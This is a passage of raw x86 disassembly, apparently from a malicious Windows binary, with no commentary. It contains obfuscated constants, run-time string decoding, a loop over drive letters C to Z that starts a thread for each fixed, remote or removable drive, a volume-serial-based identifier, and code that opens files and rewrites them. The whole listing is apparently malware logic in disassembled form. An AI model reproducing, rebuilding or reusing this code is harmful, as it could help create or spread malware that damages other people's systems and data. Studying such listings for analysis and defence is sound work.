		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41E0FB
		movzx	ecx, byte ptr [ebp-219h]
		cmp	ecx, eax
		jb	short loc_41E0C9


loc_41E10D:				; CODE XREF: .data:0041E0E9j
		movzx	eax, byte ptr [ebp-219h]
		movzx	edx, byte ptr [ebp-104h]
		sub	eax, edx
		movsx	edx, word ptr ds:100140B8h
		add	edx, ds:100141A0h
		sub	edx, 6
		cmp	eax, edx
		jg	short loc_41E15C
		add	byte ptr [ebp-104h], 1


loc_41E138:				; CODE XREF: .data:0041E0B9j
		lea	ecx, [ebp-103h]
		or	eax, 0FFFFFFFFh


loc_41E141:				; CODE XREF: .data:0041E146j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41E141
		movzx	ecx, byte ptr [ebp-104h]
		cmp	ecx, eax
		jb	loc_41E0BB
		jmp	loc_41E1F6
; ---------------------------------------------------------------------------


loc_41E15C:				; CODE XREF: .data:0041E028j
					; .data:0041E04Aj ...
		mov	eax, ds:1001424Ch
		add	eax, 7BEh
		add	eax, ds:10014108h
		push	eax
		call	dword ptr ds:1001380Ch
		push	100153C6h
		call	sub_41B08F
		mov	[ebp-21Ch], eax
		push	100153AFh
		call	sub_41B08F
		mov	edx, ds:100141BCh
		add	edx, ds:10014234h
		sub	edx, 6
		push	edx
		push	eax
		mov	edx, [ebp-21Ch]
		push	edx
		push	0
		call	dword ptr ds:10013820h
		push	100153ABh
		call	sub_41B08F
		add	esp, 10h
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-220h], eax
		mov	edx, eax
		push	dword ptr ds:10011558h[edx]
		call	dword ptr ds:10013834h
		mov	eax, 30h
		mul	edi
		mov	[ebp-224h], eax
		push	dword ptr ds:10011558h[eax]
		call	dword ptr ds:100109FCh
		jmp	loc_41E27D
; ---------------------------------------------------------------------------


loc_41E1F6:				; CODE XREF: .data:0041E157j
		push	100153A6h
		call	sub_41B08F
		push	eax
		lea	edx, [ebp-204h]
		push	edx
		call	dword ptr ds:1000D024h
		lea	eax, [ebp-103h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000D024h
		mov	eax, 30h
		mul	edi
		mov	[ebp-228h], eax
		push	dword ptr ds:10011548h[eax]
		call	dword ptr ds:100111E8h
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000E000h
		add	esp, 18h
		push	5
		mov	eax, 30h
		mul	edi
		mov	[ebp-22Ch], eax
		push	dword ptr ds:10011544h[eax]
		call	dword ptr ds:10013838h
		mov	eax, 30h
		mul	edi
		mov	[ebp-230h], eax
		and	dword ptr ds:10011540h[eax], 0


loc_41E27D:				; CODE XREF: .data:0041DD12j
					; .data:0041DD23j ...
		mov	edi, ds:10014104h
		sub	edi, 4
		jmp	loc_41E35F
; ---------------------------------------------------------------------------


loc_41E28B:				; CODE XREF: .data:0041E369j
		mov	eax, 30h
		mul	edi
		mov	[ebp-8], eax
		cmp	esi, ds:10011550h[eax]
		jnz	short loc_41E2C2
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp-0Ch], eax
		push	dword ptr ds:10011560h[eax]
		call	dword ptr ds:100137DCh
		jmp	loc_41E36F
; ---------------------------------------------------------------------------


loc_41E2C2:				; CODE XREF: .data:0041E29Cj
		mov	eax, 30h
		mul	edi
		mov	[ebp-10h], eax
		cmp	esi, ds:10011554h[eax]
		jnz	short loc_41E2F6
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp-14h], eax
		push	dword ptr ds:10011564h[eax]
		call	dword ptr ds:100137DCh
		jmp	short loc_41E36F
; ---------------------------------------------------------------------------


loc_41E2F6:				; CODE XREF: .data:0041E2D3j
		mov	eax, 30h
		mul	edi
		mov	[ebp-18h], eax
		cmp	esi, ds:10011558h[eax]
		jnz	short loc_41E32A
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp-1Ch], eax
		push	dword ptr ds:10011568h[eax]
		call	dword ptr ds:100137DCh
		jmp	short loc_41E36F
; ---------------------------------------------------------------------------


loc_41E32A:				; CODE XREF: .data:0041E307j
		mov	eax, 30h
		mul	edi
		mov	[ebp-20h], eax
		cmp	esi, ds:1001154Ch[eax]
		jnz	short loc_41E35E
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp-24h], eax
		push	dword ptr ds:1001156Ch[eax]
		call	dword ptr ds:100137DCh
		jmp	short loc_41E36F
; ---------------------------------------------------------------------------


loc_41E35E:				; CODE XREF: .data:0041E33Bj
		inc	edi


loc_41E35F:				; CODE XREF: .data:0041E286j
		mov	eax, ds:10014184h
		add	eax, 63h
		cmp	edi, eax
		jb	loc_41E28B


loc_41E36F:				; CODE XREF: .data:0041E2BDj
					; .data:0041E2F4j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E376	proc near		; CODE XREF: sub_423599+D9p
					; sub_423599+116p ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 2Bh
		mov	edx, 2FA0BE83h
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:100140A8h
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_41E3B1
		mov	eax, 65h
		jmp	short loc_41E42D
; ---------------------------------------------------------------------------


loc_41E3B1:				; CODE XREF: sub_41E376+32j
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:10014094h
		dec	edx
		cmp	eax, edx
		jnz	short loc_41E3C7
		mov	eax, 79h
		jmp	short loc_41E42D
; ---------------------------------------------------------------------------


loc_41E3C7:				; CODE XREF: sub_41E376+48j
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:100140ACh
		add	edx, ds:10014198h
		sub	edx, 0Ch
		cmp	eax, edx
		jnz	short loc_41E3E5
		mov	eax, 75h
		jmp	short loc_41E42D
; ---------------------------------------------------------------------------


loc_41E3E5:				; CODE XREF: sub_41E376+66j
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:100141B0h
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_41E3FD
		mov	eax, 69h
		jmp	short loc_41E42D
; ---------------------------------------------------------------------------


loc_41E3FD:				; CODE XREF: sub_41E376+7Ej
		movzx	eax, [ebp+arg_0]
		movsx	edx, word ptr ds:100141F0h
		add	edx, 2
		cmp	eax, edx
		jnz	short loc_41E416
		mov	eax, 6Fh
		jmp	short loc_41E42D
; ---------------------------------------------------------------------------


loc_41E416:				; CODE XREF: sub_41E376+97j
		movzx	eax, [ebp+arg_0]
		movsx	edx, word ptr ds:10014148h
		add	edx, 5
		cmp	eax, edx
		jnz	short loc_41E42D
		mov	eax, 61h


loc_41E42D:				; CODE XREF: sub_41E376+39j
					; sub_41E376+4Fj ...
		pop	edi
		pop	ebx
		leave
		retn
sub_41E376	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E431	proc near		; CODE XREF: sub_41F4A9+BCp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	8000h
		mov	eax, ds:1001414Ch
		sub	eax, 8
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10012804h
		pop	ebp
		retn
sub_41E431	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, 43h
		jmp	short loc_41E466
; ---------------------------------------------------------------------------


loc_41E45D:				; CODE XREF: .data:0041E469j
		and	dword ptr ds:10013970h[esi*4], 0
		inc	esi


loc_41E466:				; CODE XREF: .data:0041E45Bj
		cmp	esi, 5Ah
		jbe	short loc_41E45D


loc_41E46B:				; CODE XREF: .data:0041E5E9j
		mov	edi, 43h
		jmp	loc_41E5CE
; ---------------------------------------------------------------------------


loc_41E475:				; CODE XREF: .data:0041E5D1j
		mov	eax, ds:1001415Ch
		movsx	edx, word ptr ds:10014160h
		add	eax, edx
		sub	eax, 6
		push	eax
		call	dword ptr ds:1001380Ch
		push	1001539Eh
		call	sub_41B08F
		push	edi
		push	eax
		lea	ebx, [ebp-0Eh]
		push	ebx
		call	dword ptr ds:10013810h
		add	esp, 14h
		cmp	dword ptr ds:10013970h[edi*4], 0
		jz	short loc_41E4EA
		mov	eax, ds:10014244h
		sub	eax, 9
		mov	[ebp-14h], eax
		lea	eax, [ebp-14h]
		push	eax
		push	dword ptr ds:10013970h[edi*4]
		call	dword ptr ds:1001382Ch
		cmp	dword ptr [ebp-14h], 103h
		jz	short loc_41E4EA
		push	dword ptr ds:10013970h[edi*4]
		call	dword ptr ds:1001282Ch
		and	dword ptr ds:10013970h[edi*4], 0


loc_41E4EA:				; CODE XREF: .data:0041E4AEj
					; .data:0041E4D3j
		lea	eax, [ebp-0Eh]
		push	eax
		call	dword ptr ds:10013844h
		mov	[ebp-4], eax
		cmp	eax, 3
		jz	short loc_41E52A
		cmp	eax, 4
		jz	short loc_41E52A
		cmp	eax, 2
		jz	short loc_41E52A
		cmp	dword ptr ds:10013970h[edi*4], 0
		jz	loc_41E5CD
		movsx	ebx, word ptr ds:1001423Ch
		sub	ebx, 5
		mov	ds:100105E0h[edi*4], ebx
		jmp	loc_41E5CD
; ---------------------------------------------------------------------------


loc_41E52A:				; CODE XREF: .data:0041E4FAj
					; .data:0041E4FFj ...
		push	1
		call	dword ptr ds:1000EFB0h
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-0Eh]
		push	eax
		call	dword ptr ds:10010088h
		mov	ebx, ds:1001413Ch
		sub	ebx, 8
		cmp	eax, ebx
		jnz	short loc_41E57F
		cmp	dword ptr ds:10013970h[edi*4], 0
		jz	short loc_41E5CD
		movsx	ebx, word ptr ds:10014120h
		movsx	edx, word ptr ds:100140B4h
		add	ebx, edx
		sub	ebx, 0Dh
		mov	ds:100105E0h[edi*4], ebx
		jmp	short loc_41E5CD
; ---------------------------------------------------------------------------


loc_41E57F:				; CODE XREF: .data:0041E557j
		cmp	dword ptr ds:10013970h[edi*4], 0
		jnz	short loc_41E5CD
		mov	ds:100105E0h[edi*4], edi
		lea	eax, [ebp-28h]
		push	eax
		mov	eax, ds:10014140h
		movsx	edx, word ptr ds:10014144h
		add	eax, edx
		sub	eax, 12h
		push	eax
		lea	ebx, ds:100105E0h[edi*4]
		push	ebx
		push	100028E8h
		movsx	ebx, word ptr ds:10014180h
		sub	ebx, 5
		push	ebx
		push	0
		call	dword ptr ds:10013D70h
		mov	ds:10013970h[edi*4], eax


loc_41E5CD:				; CODE XREF: .data:0041E50Ej
					; .data:0041E525j ...
		inc	edi


loc_41E5CE:				; CODE XREF: .data:0041E470j
		cmp	edi, 5Ah
		jbe	loc_41E475
		movsx	eax, word ptr ds:10014228h
		sub	eax, 4
		push	eax
		call	dword ptr ds:1001380Ch
		pop	ecx
		jmp	loc_41E46B
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5F5	proc near		; CODE XREF: .data:0041EE32p
					; .data:0041EF20p

var_1000C	= dword	ptr -1000Ch
var_10003	= byte ptr -10003h
var_FFFF	= byte ptr -0FFFFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10004h
		call	sub_425D5D
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		lea	edi, ds:10011430h
		cmp	[ebp+arg_4], 43h
		jnz	short loc_41E61A
		lea	edi, ds:100100A0h


loc_41E61A:				; CODE XREF: sub_41E5F5+1Dj
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	0C0000000h
		push	edi
		call	dword ptr ds:10013968h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_41E6CF
		push	0
		push	0
		push	esi
		push	edi
		call	dword ptr ds:10013D80h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFh
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	dword ptr ds:1000D02Ch
		lea	ecx, [ebp+var_FFFF]
		or	eax, 0FFFFFFFFh


loc_41E66C:				; CODE XREF: sub_41E5F5+7Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41E66C
		mov	edx, ds:100141B0h
		sub	edx, 2
		mov	ebx, eax
		add	ebx, edx
		mov	[ebp+var_4], ebx
		mov	ebx, ds:100141CCh
		add	ebx, ds:100141E4h
		mov	edx, [ebp+var_4]
		mov	[ebp+ebx*4+var_1000C+1], edx
		push	0
		push	0
		push	esi
		push	edi
		call	dword ptr ds:10013D80h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, ds:10014158h
		add	eax, ds:100140C8h
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	dword ptr ds:10013D6Ch
		push	edi
		call	dword ptr ds:1001282Ch


loc_41E6CF:				; CODE XREF: sub_41E5F5+43j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E5F5	endp

; ---------------------------------------------------------------------------
		mov	eax, 80004001h
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E6DC	proc near		; CODE XREF: sub_4247D1+3Cp
					; sub_4247D1+C7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		movzx	ebx, byte ptr [eax]
		mov	eax, ds:100140ECh
		add	eax, 0FAh
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+1]
		add	ebx, eax
		mov	eax, ds:10014224h
		add	eax, 0FBh
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+2]
		add	ebx, eax
		movsx	esi, word ptr ds:10014204h
		sub	esi, 6
		jmp	short loc_41E761
; ---------------------------------------------------------------------------


loc_41E721:				; CODE XREF: sub_41E6DC+95j
		mov	edi, ds:100140A8h
		dec	edi
		sub	edi, esi
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], edx
		mov	edx, ebx
		and	edx, 8000003Fh
		jge	short loc_41E73F
		dec	edx
		or	edx, 0FFFFFFC0h
		inc	edx


loc_41E73F:				; CODE XREF: sub_41E6DC+5Cj
		mov	ecx, ds:1001427Ch
		mov	dl, [ecx+edx]
		mov	ecx, [ebp+var_4]
		mov	[ecx+edi], dl
		mov	eax, ebx
		mov	ecx, ds:1001418Ch
		add	ecx, 3Fh
		cdq
		idiv	ecx
		mov	ebx, eax
		add	esi, 1


loc_41E761:				; CODE XREF: sub_41E6DC+43j
		mov	eax, ds:10014214h
		add	eax, ds:10014244h
		sub	eax, 6
		cmp	esi, eax
		jl	short loc_41E721
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E6DC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp-210h]
		push	eax
		push	100100A0h
		call	sub_422C67
		add	esp, 8
		mov	[ebp-208h], eax
		test	eax, eax
		jnz	short loc_41E7A9
		xor	eax, eax
		jmp	loc_41E92C
; ---------------------------------------------------------------------------


loc_41E7A9:				; CODE XREF: .data:0041E7A0j
		mov	eax, ds:100140D4h
		add	eax, 4
		mov	[ebp-204h], eax


loc_41E7B7:				; CODE XREF: .data:0041E918j
		mov	eax, [ebp-204h]
		mov	edx, [ebp-208h]
		lea	ecx, [edx+eax]
		or	eax, 0FFFFFFFFh


loc_41E7C9:				; CODE XREF: .data:0041E7CEj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41E7C9
		mov	[ebp-20Ch], eax
		cmp	dword ptr [ebp-20Ch], 0FFh
		jnb	short loc_41E806
		mov	eax, [ebp-204h]
		mov	edx, ds:10014244h
		sub	edx, 8
		add	eax, edx
		add	eax, [ebp-208h]
		push	eax
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_425D7D


loc_41E806:				; CODE XREF: .data:0041E7E0j
		mov	eax, ds:1001415Ch
		mov	esi, eax
		add	esi, ds:1001410Ch
		jmp	short loc_41E83A
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: .data:0041E84Cj
		cmp	byte ptr [ebp+esi-0FFh], 28h
		jnz	short loc_41E827
		mov	byte ptr [ebp+esi-0FFh], 2Bh


loc_41E827:				; CODE XREF: .data:0041E81Dj
		cmp	byte ptr [ebp+esi-0FFh], 29h
		jnz	short loc_41E839
		mov	byte ptr [ebp+esi-0FFh], 3Dh


loc_41E839:				; CODE XREF: .data:0041E82Fj
		inc	esi


loc_41E83A:				; CODE XREF: .data:0041E813j
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh


loc_41E843:				; CODE XREF: .data:0041E848j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41E843
		cmp	esi, eax
		jb	short loc_41E815
		push	0FFh
		lea	eax, [ebp-1FEh]
		push	eax
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_41BB4B
		add	esp, 0Ch
		mov	ebx, eax
		mov	edi, ds:10014244h
		sub	edi, 9
		jmp	short loc_41E8A4
; ---------------------------------------------------------------------------


loc_41E876:				; CODE XREF: .data:0041E8A6j
		movsx	eax, byte ptr [ebp+edi-1FEh]
		mov	[ebp-218h], eax
		mov	eax, edi
		mul	edi
		mov	[ebp-21Ch], eax
		mov	eax, [ebp-218h]
		mov	edx, [ebp-21Ch]
		sub	eax, edx
		mov	[ebp+edi-1FEh],	al
		inc	edi


loc_41E8A4:				; CODE XREF: .data:0041E874j
		cmp	edi, ebx
		jb	short loc_41E876
		mov	eax, ds:100141ECh
		sub	eax, 5
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1FEh]
		push	eax
		call	sub_4251A5
		add	esp, 0Ch
		mov	[ebp-214h], eax
		mov	eax, ds:10014224h
		add	eax, 0FFF4h
		add	eax, ds:100141F8h
		cmp	[ebp-214h], eax
		jz	short loc_41E8F2
		push	dword ptr [ebp-208h]
		call	dword ptr ds:100105CCh
		xor	eax, eax
		inc	eax
		jmp	short loc_41E92C
; ---------------------------------------------------------------------------


loc_41E8F2:				; CODE XREF: .data:0041E8DFj
		mov	eax, [ebp-20Ch]
		mov	edx, ds:100141B4h
		add	edx, ds:10014184h
		add	eax, edx
		add	[ebp-204h], eax
		mov	eax, [ebp-210h]
		cmp	[ebp-204h], eax
		jb	loc_41E7B7
		push	dword ptr [ebp-208h]
		call	dword ptr ds:100105CCh
		xor	eax, eax


loc_41E92C:				; CODE XREF: .data:0041E7A4j
					; .data:0041E8F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E931	proc near		; CODE XREF: .data:0041AA90p

var_275		= byte ptr -275h
var_274		= byte ptr -274h
var_270		= byte ptr -270h
var_26C		= byte ptr -26Ch
var_267		= byte ptr -267h
var_203		= byte ptr -203h
var_10C		= byte ptr -10Ch
var_106		= byte ptr -106h
var_FF		= byte ptr -0FFh
var_FE		= byte ptr -0FEh
var_FA		= byte ptr -0FAh

		push	ebp
		mov	ebp, esp
		sub	esp, 278h
		push	edi
		lea	eax, [ebp+var_203]
		push	eax
		mov	eax, ds:100140C8h
		movsx	edx, word ptr ds:10014220h
		add	eax, edx
		sub	eax, 9
		push	eax
		push	0
		push	1Ch
		push	0
		call	dword ptr ds:10010A00h
		lea	eax, [ebp+var_267]
		push	eax
		call	sub_41EBDE
		push	1001538Fh
		call	sub_41B08F
		mov	edi, ds:100140B0h
		sub	edi, 4
		push	edi
		lea	edi, [ebp+var_267]
		push	edi
		lea	edi, [ebp+var_203]
		push	edi
		push	eax
		push	10011220h
		call	dword ptr ds:10013810h
		push	1001537Ch
		call	sub_41B08F
		mov	edi, ds:10014150h
		add	edi, 3
		push	edi
		lea	edi, [ebp+var_203]
		push	edi
		push	eax
		push	100100A0h
		call	dword ptr ds:10013810h
		push	10015369h
		call	sub_41B08F
		mov	edi, ds:100140BCh
		add	edi, ds:10014104h
		dec	edi
		push	edi
		lea	edi, [ebp+var_203]
		push	edi
		push	eax
		push	10011430h
		call	dword ptr ds:10013810h
		lea	eax, ds:10008F97h
		mov	ds:10013804h, eax
		lea	eax, ds:10008F97h
		mov	ds:1000E000h, eax
		lea	eax, ds:1000536Bh
		mov	ds:10013954h, eax
		push	1000EFD0h
		call	sub_41F6A1
		mov	eax, ds:1001422Ch
		movsx	edx, word ptr ds:10014194h
		add	eax, edx
		sub	eax, 3
		push	eax
		push	100111F0h
		call	sub_4240DE
		lea	eax, ds:10007FDFh
		mov	ds:100111ECh, eax
		lea	eax, ds:10008ECBh
		mov	ds:100109E4h, eax
		lea	eax, ds:100100A0h
		mov	ds:10012814h, eax
		lea	eax, ds:10011430h
		mov	ds:1000D018h, eax
		lea	eax, ds:10013850h
		mov	ds:1001433Ch, eax
		lea	eax, [ebp+var_26C]
		push	eax
		mov	eax, ds:1001410Ch
		add	eax, ds:100141ACh
		sub	eax, 5
		push	eax
		push	0
		push	10001D58h
		mov	eax, ds:10014168h
		add	eax, ds:10014218h
		sub	eax, 12h
		push	eax
		push	0
		call	dword ptr ds:10013D70h
		push	eax
		call	dword ptr ds:1001282Ch
		lea	eax, [ebp+var_270]
		push	eax
		movsx	eax, word ptr ds:10014128h
		sub	eax, 5
		push	eax
		push	0
		push	1000B6AEh
		mov	eax, ds:100140A4h
		sub	eax, 9
		push	eax
		push	0
		call	dword ptr ds:10013D70h
		push	eax
		call	dword ptr ds:1001282Ch
		lea	eax, [ebp+var_274]
		push	eax
		mov	eax, ds:100141B4h
		sub	eax, 4
		push	eax
		push	0
		push	1000602Fh
		movsx	eax, word ptr ds:10014190h
		sub	eax, 5
		push	eax
		push	0
		call	dword ptr ds:10013D70h
		push	eax
		call	dword ptr ds:1001282Ch
		movsx	eax, word ptr ds:10014110h
		add	eax, 0Ah
		mov	ds:100105D0h, eax
		mov	eax, ds:100140D4h
		inc	eax
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_424146
		add	esp, 58h
		mov	eax, ds:10014140h
		add	eax, ds:100141B4h
		cmp	[ebp+eax+var_10C], 64h
		jnz	short loc_41EB84
		movsx	eax, [ebp+var_FE]
		mov	edx, ds:10014248h
		add	edx, 19h
		add	edx, ds:10014230h
		sub	eax, edx
		mov	[ebp+var_275], al
		movzx	eax, [ebp+var_275]
		push	eax
		push	0
		call	sub_4210C1
		add	esp, 8
		mov	eax, ds:10014170h
		add	eax, ds:10014238h
		sub	eax, 0Eh
		mov	ds:100105D0h, eax


loc_41EB84:				; CODE XREF: sub_41E931+20Ej
		mov	eax, ds:10014178h
		add	eax, ds:100141C8h
		cmp	[ebp+eax+var_106], 67h
		jnz	short loc_41EBDB
		mov	eax, ds:100141D0h
		mov	edx, ds:100141A8h
		sub	edx, 8
		mov	[ebp+eax+var_FA], dl
		lea	eax, [ebp+var_FE]
		push	eax
		call	dword ptr ds:1000E008h
		mov	[ebp-278h], eax
		push	eax
		push	10013850h
		call	sub_423599
		add	esp, 0Ch
		movsx	eax, word ptr ds:10014148h
		mov	ds:100105D0h, eax


loc_41EBDB:				; CODE XREF: sub_41E931+266j
		pop	edi
		leave
		retn
sub_41E931	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EBDE	proc near		; CODE XREF: sub_41E931+36p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		mov	edi, [ebp+arg_0]
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword ptr ds:100105B0h
		mov	eax, ds:100140D4h
		add	eax, 3
		add	eax, ds:1001415Ch
		movsx	edx, word ptr ds:10014130h
		sub	edx, 2
		mov	[ebp+eax+var_108], dl
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	dword ptr ds:100137E4h
		push	10015361h
		call	sub_41B08F
		push	[ebp+var_10C]
		push	eax
		push	edi
		call	dword ptr ds:10013810h
		add	esp, 10h
		mov	eax, ds:100140ECh
		add	eax, ds:10014224h
		sub	eax, 0Bh
		mov	[ebp+var_4], eax
		jmp	short loc_41ECAD
; ---------------------------------------------------------------------------


loc_41EC7E:				; CODE XREF: sub_41EBDE+E3j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 30h
		jl	short loc_41EC94
		cmp	al, 39h
		jg	short loc_41EC94
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	31h


loc_41EC94:				; CODE XREF: sub_41EBDE+A8j
					; sub_41EBDE+ACj
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 41h
		jl	short loc_41ECAA
		cmp	al, 5Ah
		jg	short loc_41ECAA
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	20h


loc_41ECAA:				; CODE XREF: sub_41EBDE+BEj
					; sub_41EBDE+C2j
		inc	[ebp+var_4]


loc_41ECAD:				; CODE XREF: sub_41EBDE+9Ej
		movsx	eax, word ptr ds:10014190h
		mov	edx, ds:100140E0h
		lea	eax, [eax+edx+1]
		cmp	[ebp+var_4], eax
		jb	short loc_41EC7E
		pop	edi
		leave
		retn
sub_41EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+8]
		mov	eax, [ebp+18h]
		mov	[ebp+18h], ax
		movsx	eax, word ptr ds:10014114h
		add	eax, ds:100140BCh
		dec	eax
		cmp	ds:100105D0h, eax
		jnb	short loc_41ECFC
		mov	eax, ds:100140A8h
		sub	eax, 4
		mov	ds:100105D0h, eax


loc_41ECFC:				; CODE XREF: .data:0041ECEDj
		mov	eax, ds:100140A4h
		movsx	edx, word ptr ds:100141B8h
		mov	edi, eax
		add	edi, edx
		sub	edi, 0Eh
		jmp	short loc_41ED1D
; ---------------------------------------------------------------------------


loc_41ED11:				; CODE XREF: .data:0041ED32j
		lea	edx, ds:1000F0E0h[edi*4]
		cmp	esi, edx
		jz	short loc_41ED34
		inc	edi


loc_41ED1D:				; CODE XREF: .data:0041ED0Fj
		mov	eax, ds:100141E8h
		add	eax, 3DDh
		movsx	edx, word ptr ds:100140E8h
		add	eax, edx
		cmp	edi, eax
		jb	short loc_41ED11


loc_41ED34:				; CODE XREF: .data:0041ED1Aj
		mov	eax, ds:1001414Ch
		add	eax, 3DBh
		add	eax, ds:10014224h
		cmp	edi, eax
		jnz	short loc_41ED4F
		xor	eax, eax
		jmp	loc_41EF80
; ---------------------------------------------------------------------------


loc_41ED4F:				; CODE XREF: .data:0041ED46j
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-4]
		push	eax
		push	10015CD4h
		mov	edx, ds:1000D050h[edi*4]
		push	dword ptr ds:1000D050h[edi*4]
		mov	edx, [edx]
		call	dword ptr ds:0[edx]
		mov	ebx, eax
		lea	eax, [ebp-8]
		push	eax
		mov	eax, [ebp-4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+48h]
		mov	ebx, eax
		mov	eax, ds:100141B0h
		sub	eax, 7
		cmp	ebx, eax
		jnz	short loc_41EE06
		lea	eax, [ebp-0Ch]
		push	eax
		push	10015C44h
		mov	eax, [ebp-8]
		push	eax
		mov	edx, [eax]
		call	dword ptr ds:0[edx]
		mov	ebx, eax
		movsx	eax, word ptr ds:100140F8h
		add	eax, ds:10014184h
		sub	eax, 2
		cmp	ebx, eax
		jnz	short loc_41EDFD
		lea	eax, [ebp-10h]
		push	eax
		mov	eax, [ebp-0Ch]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+20h]
		mov	ebx, eax
		mov	eax, ds:10014094h
		sub	eax, 2
		cmp	ebx, eax
		jnz	short loc_41EDF4
		mov	eax, ds:10014174h
		add	eax, ds:10014118h
		sub	eax, 5
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-4]
		call	sub_4239D8
		add	esp, 0Ch


loc_41EDF4:				; CODE XREF: .data:0041EDD5j
		mov	eax, [ebp-0Ch]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_41EDFD:				; CODE XREF: .data:0041EDBAj
		mov	eax, [ebp-8]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_41EE06:				; CODE XREF: .data:0041ED8Ej
		movzx	edx, word ptr ds:10010A10h[edi*2]
		movsx	ecx, word ptr ds:10014144h
		add	ecx, ds:10014224h
